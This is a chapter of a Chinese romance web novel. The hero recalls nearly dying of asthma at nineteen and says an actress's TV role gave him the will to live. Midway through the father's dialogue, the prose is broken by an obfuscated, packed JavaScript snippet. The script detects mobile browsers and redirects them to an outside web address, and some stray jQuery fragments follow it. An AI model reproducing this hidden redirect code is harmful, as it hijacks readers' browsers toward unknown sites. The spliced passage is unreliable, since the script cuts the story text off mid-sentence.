昨天喝醉他不记得发生过什么,此时此刻大脑一片清明,他才终于知晓全身完全浸入蜜糖之中到底会是什么味道。 跳动的心脏像是一匹疾驰的骏马快要让他喘不过气来,睡前服用过的哮喘药将他紊乱的呼吸强压下来,在空荡的房间里听起来只是略显急促了些。 他的右手和阿鹮的左手离得好近。 只要手指稍稍往前就能和她的小拇指勾在一起。 他想和阿鹮夜话的心事好多。 他都挑不出先说哪一件。 他将一个个提前精心准备的话题在脑海里摊开,思前想后好一阵子才谨慎地从中挑选出他认为最好的那个。 “阿鹮,你知不知道……” 睡在他身侧的人没有回答,只有逐渐平缓的呼吸一声声打在他心上。 “……阿鹮,你睡了吗?” 柏原侧头看去,沈鹮精致美艳的脸蛋在月光下显得有些疲惫。 在武馆训练了一天,她还是累坏了。 他眨眨眼,没再说话。 只是慢慢地支起上半身,拉起沈鹮肩头滑落的羽绒被再次盖好压实:“睡吧,阿鹮,做个好梦。” 他将自己刚刚精心挑选出的话题再次妥帖地放回脑海的文档夹中。 “下次再跟你说吧,跟你说说我十九岁喜欢上你的那个夏天。” 11.第 11 章 十九岁那年,柏原在医院里度过了整个冬天。 秋冬交替时,一场流行性病毒感冒席卷了大半个北京城,几乎所有人都在病倒的一周之后逐渐恢复,但其中并不包含患有先天哮喘的柏原。 早在流感蔓延的初期,爱子心切的柏老爷子就早早给柏原设下了近期不准踏出家门一步的禁令。 无奈十九岁的小少爷正值青春叛逆期,再加上朋友又正好送给他两张LoL全球总决赛的入场门票。 活动场馆就在离家不远的北京鸟巢中心,柏原趁老爷子不在家找准了时机偷偷溜出家门,和兄弟几个看完比赛再回家就已然到了深夜。 刚一进家门,柏原就看见别墅一楼偌大的客厅里,父亲就坐在沙发正中央脸色铁青。 “柏原,你现在胆子也太大了,我说话都管不住你了是吧?” 彼时柏老爷子身体依然健朗,说话声音铿锵有力,打在柏家府邸的墙面上都能听见阵阵回声。 柏原知道是自己有错在先,但他刚一抬头,就对上了站在沙发一旁,柏宁那双幸灾乐祸的眼睛。 十九岁的少年玩心很大,十九岁的少年自尊心也同样很强。 就连柏老爷子自己可能都没料到,柏原站在客厅中央脊梁挺得笔直,脸上看不出半分忏悔的意思:“你们凭什么每天把我关在家里?我只是想要自由有什么错?” “你!” 柏原看见父亲的脸色从铁青转为通红,那是他这辈子唯一一次得到来自父亲的体罚:“你给我去书房面壁一晚上!现在就去!” “去就去!” 柏原梗着脖子从一楼跑上二楼书房,幼稚地把书房大门狠狠摔上,是他那时唯一想到在此情此景下可以泄愤的方式。 其实他心知肚明,父亲还是对他心软了。 按照柏家的规矩,以往听得最多的都是“抄写家规”或是“庭院罚跪”之类的惩戒,哪有什么“书房面壁”,不过是柏老爷子舍不得柏原风吹日晒情急之下突然自创的体罚罢了。 他想着在书房安安静静待上几个小时,等风波过去他就能再找个台阶下来。 只是还没等时针走过一个小时,柏原就被一阵窒息憋喘得说不出话。 书房里没有他平常备在身边的急救药,他踉跄几步摔倒在书房门前,哆嗦着双手急切得想要打开刚刚被自己关上的大门,可是那道门锁却怎么都打不开了。 门被人从外面反锁了。 他张开手掌重重地砸在书房门上,被窒息感封锁的喉咙让柏原无法张嘴喊出一声呼救。 胸腔里的双肺像是被一块块巨石压下,剧烈的疼痛让他眼前越来越模糊不清,他卯足了全身力气向着书房门外的方向大吼,最后也只能发出一道轻得不能再轻的气音:“救……命……” 一个多小时前还气得吹胡子瞪眼睛的柏老爷子还是放心不下这个小儿子,午夜的时钟刚刚敲响十二点时就马不停蹄赶往书房,想着孩子要是知道错了这事儿就算翻篇了。 书房的门无法直接推开,当他终于从管家那里找来钥匙打开房门,两个小时前还活蹦乱跳的小儿子已经无力瘫软在门边,上身的衬衫被冷汗浸泡后湿成一片,十根手指在木门上被抠得血肉模糊。 柏老爷子颤抖着将手指放在柏原鼻前,严重哮喘发作引起的呼吸骤停让他探不出一丝鼻息,他把依然昏迷的小儿子紧紧搂在胸前:“叫救护车!快叫救护车!!” - 柏原的情况比所有人预计得还要严重许多。 如果只是哮喘发作延误抢救还不会导致送进ICU里一连四天还出不来,空气中弥漫的感冒病毒同时在他身体里肆虐,将原本就孱弱的呼吸系统攻击得百孔千疮。 从ICU出来,转入普通病房的那些天,柏原依旧需要二十四小时戴着氧气面罩才能正常呼吸,屡次突发的呼吸骤停让他的病情反反复复,在病房里拖拖拉拉待了大半个月也不见好。 百无聊赖的时光里,病房里的电视机是他唯一的消遣。 不能说话,他就靠在被撑起的病床上呆呆地盯着电视机看,很多时候一看就是一整天。 那时候恰逢沈鹮刚刚出道,电视上每晚播放的正是她二十岁参演的第一部电视剧,她在里面饰演戏份极少的女三。 男频小说改编的电视剧总归以男主角的事业成长线为主,女性角色不过是其中脸谱化的调剂品,就连女主角每集的出场时间都不足十分钟,更不用提女三这个镶边中的镶边。 十一月初的播出时间正好错开暑假和寒假档,就从电视台的时间安排都能看出他们对这部剧并没有寄予厚望。 也就是蹭了一部还算出名的男频IP,才让柏原愿意每天用它来消磨时间。 他以为自己会对其中权谋争斗的情节最为感兴趣,可当沈鹮在第九集初次登场时,他每天对这部剧最大的期待就变成了今天这集会不会有女三的戏份。 实际上女三这个角色并不讨好。 是和女主角完完全全站在对立面的大反派,如果女主代表着男人心目中的顶级白富美,那女三便是黑化后自私自利的女魔头。 可偏偏柏原就是喜欢。 不仅仅因为沈鹮一袭紫衣美得妖艳夺目,还因为她像柏原在LoL里最喜欢的女英雄——有着冰霜女巫之称的丽桑卓。 十九岁少年的喜欢就是这么简单,病房里的电视机他不允许任何人乱碰,就连调低音量都不行。 有时医生和护士会来病房里为他检查打针,他也只是任由这些人摆布,眼睛却一直看着电视机的方向从不游离。 那部电视剧成为了他在病痛中唯一的消遣。 可当电视台连大结局都已经播放完毕,柏原也依旧没能出院,无奈他把视线从电视机转移到了iPad屏幕。 反复的病程极其磨人,在柏原第三次被送进ICU抢救了整晚后,他第一次真正意义上产生了放弃的念头。 柏老爷子穿着医院特供的防护服站在病床床边,只有半个小时的探视时间。 柏家花费重金邀请了国内最为顶尖的呼吸科、传染科专家,却依然只能眼睁睁看着小儿子瘦到颧骨突出、两颊凹陷。 柏原干燥起皮的嘴唇在氧气面罩下微微幅动,老爷子连忙弯腰将耳朵放在儿子唇边屏气凝神,他听见柏原用气音对他说:“爸爸,不然算了吧……” “我真的好累。” 老爷子眼眶里一直打转的泪终于落下,面罩背后苍老的脸泣不成声:“儿子,儿子,是爸爸对不起你,我要是不罚你就好了,要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655349|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早点发现门被反锁就好了……” 可是说什么都已经于事无补。 同天凌晨医生护士再次一齐涌入病房中,用各种精密仪器将柏原团团围住,只能一次又一次动用所有医学抢救手段维持柏原近乎于无的微弱呼吸。 意识在逐渐沉落,他脑海中唯一剩下的念头只有“好累”。 他猜到那天晚上书房的门锁是被谁反锁,哥哥从他入院以来还没有来探望过一次,不知道是他自己不愿来,还是父亲不许他来。 这样的身体在得到父亲宠爱的同时,却也承受着兄长的嫉恨,那些和利益挂钩的阴暗心思让他觉得疲惫,从小拖着病弱的身躯匍匐前进也让他想要放弃。 算了吧。 这次,就算了吧。 他真的不想再坚持了。 血氧、血压、心跳的数值正在疯狂下降,眼前ICU病房天花板的灯光逐渐变得模糊不清,他感觉身体变得越来越轻,好像立刻就要漂浮上升至空中。 据说听觉是濒死时最后消失的五感。 病房里不知道是谁先想起了柏原最爱的那部电视剧,护士匆匆从柏老爷子手中取来iPad,随手点开一集他早已下载到本机的影片,被他反复看过无数遍的时间戳正好停在视频第十三分第四十九秒。 那是沈鹮与男主角对峙的场面。 她被男主角毁掉了集结在自己身后的党羽,沦落到身边只剩三、五十兵卒却依然义无反顾地向他发起背水一战。 男主角站在城楼上望着她必死的结局发出最后的怅问:“你为何要如此执迷不悟?” “因为天底下最不该辜负的人就是自己。” “最不该放弃的人也是自己。” “这不是执迷不悟,这是我对自己看得太清。” 恍惚中柏原只能捕捉到台词里的只言片语。 不该辜负……自己…… 不该放弃……自己…… 他涣散的双眼只能看见一抹紫色的衣袂在烽火狼烟中决然屹立,即便只有几团模糊的色块,他也依旧能够在脑海中拼凑出沈鹮那场戏中倔强美艳的脸。 不要放弃自己,不要辜负自己。 他听见她对他说。 那他就再坚持一次吧…… 他愿意听女神姐姐的话,再坚持一次。 - 抢救成功再次度过风险期后,所有人都松了一口气。 让柏老爷子最为惊喜的是,柏原好像换了一个人。 积极主动配合治疗,对寡淡的营养餐不再挑挑拣拣,即便反胃也尽力多吃一些恢复气力,甚至出院后还让专业健身教练为他制定了一套康复计划。 那场病痛中虚弱到极点的身体直到两年后才终于恢复了七、八成。 当他终于被父亲允许正式进入集团工作,可以外出参加商业酒会的时候,柏原开始寻找一切可以将自己介绍给沈鹮的机会。 直到那次杀青宴。 命运的机缘巧合让她再次穿上了一席紫色的高定连衣裙,手握香槟站在柏原面前与他碰杯时,他愣愣地叫出她的名字:“阿鹮……” “阿鹮?” “叫得这么亲热,年下不叫姐,心思有点野。” “你说对不对?弟弟。”